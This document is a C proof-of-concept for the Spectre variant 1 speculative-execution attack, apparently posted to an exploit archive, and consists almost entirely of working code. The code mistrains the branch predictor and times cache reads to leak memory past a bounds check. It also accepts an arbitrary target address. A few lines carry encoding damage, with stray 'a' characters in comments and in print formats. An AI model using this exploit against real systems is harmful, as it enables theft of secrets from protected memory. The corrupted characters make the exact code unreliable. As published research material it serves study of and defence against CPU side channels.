Spectre Information Disclosure Proof Of Concept

`#include <stdio.h>  
#include <stdlib.h>  
#include <stdint.h>  
#ifdef _MSC_VER  
#include <intrin.h> /* for rdtscp and clflush */  
#pragma optimize("gt",on)  
#else  
#include <x86intrin.h> /* for rdtscp and clflush */  
#endif  
  
/********************************************************************  
Victim code.  
********************************************************************/  
unsigned int array1_size = 16;  
uint8_t unused1[64];  
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };  
uint8_t unused2[64];  
uint8_t array2[256 * 512];  
  
char *secret = "The Magic Words are Squeamish Ossifrage.";  
  
uint8_t temp = 0; /* Used so compiler wonat optimize out victim_function() */  
  
void victim_function(size_t x) {  
if (x < array1_size) {  
temp &= array2[array1[x] * 512];  
}  
}  
  
  
/********************************************************************  
Analysis code  
********************************************************************/  
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */  
  
/* Report best guess in value[0] and runner-up in value[1] */  
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {  
static int results[256];  
int tries, i, j, k, mix_i, junk = 0;  
size_t training_x, x;  
register uint64_t time1, time2;  
volatile uint8_t *addr;  
  
for (i = 0; i < 256; i++)  
results[i] = 0;  
for (tries = 999; tries > 0; tries--) {  
  
/* Flush array2[256*(0..255)] from cache */  
for (i = 0; i < 256; i++)  
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */  
  
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */  
training_x = tries % array1_size;  
for (j = 29; j >= 0; j--) {  
_mm_clflush(&array1_size);  
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */  
  
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */  
/* Avoid jumps in case those tip off the branch predictor */  
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */  
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */  
x = training_x ^ (x & (malicious_x ^ training_x));  
  
/* Call the victim! */  
victim_function(x);  
}  
  
/* Time reads. Order is lightly mixed up to prevent stride prediction */  
for (i = 0; i < 256; i++) {  
mix_i = ((i * 167) + 13) & 255;  
addr = &array2[mix_i * 512];  
time1 = __rdtscp(&junk); /* READ TIMER */  
junk = *addr; /* MEMORY ACCESS TO TIME */  
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */  
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])  
results[mix_i]++; /* cache hit - add +1 to score for this value */  
}  
  
/* Locate highest & second-highest results results tallies in j/k */  
j = k = -1;  
for (i = 0; i < 256; i++) {  
if (j < 0 || results[i] >= results[j]) {  
k = j;  
j = i;  
} else if (k < 0 || results[i] >= results[k]) {  
k = i;  
}  
}  
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))  
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */  
}  
results[0] ^= junk; /* use junk so code above wonat get optimized out*/  
value[0] = (uint8_t)j;  
score[0] = results[j];  
value[1] = (uint8_t)k;  
score[1] = results[k];  
}  
  
int main(int argc, const char **argv) {  
size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */  
int i, score[2], len=40;  
uint8_t value[2];  
  
for (i = 0; i < sizeof(array2); i++)  
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */  
if (argc == 3) {  
sscanf(argv[1], "%p", (void**)(&malicious_x));  
malicious_x -= (size_t)array1; /* Convert input value into a pointer */  
sscanf(argv[2], "%d", &len);  
}  
  
printf("Reading %d bytes:\n", len);  
while (--len >= 0) {  
printf("Reading at malicious_x = %p... ", (void*)malicious_x);  
readMemoryByte(malicious_x++, value, score);  
printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));  
printf("0x%02X=a%ca score=%d ", value[0],  
(value[0] > 31 && value[0] < 127 ? value[0] : a?a), score[0]);  
if (score[1] > 0)  
printf("(second best: 0x%02X score=%d)", value[1], score[1]);  
printf("\n");  
}  
return (0);  
}  
  
`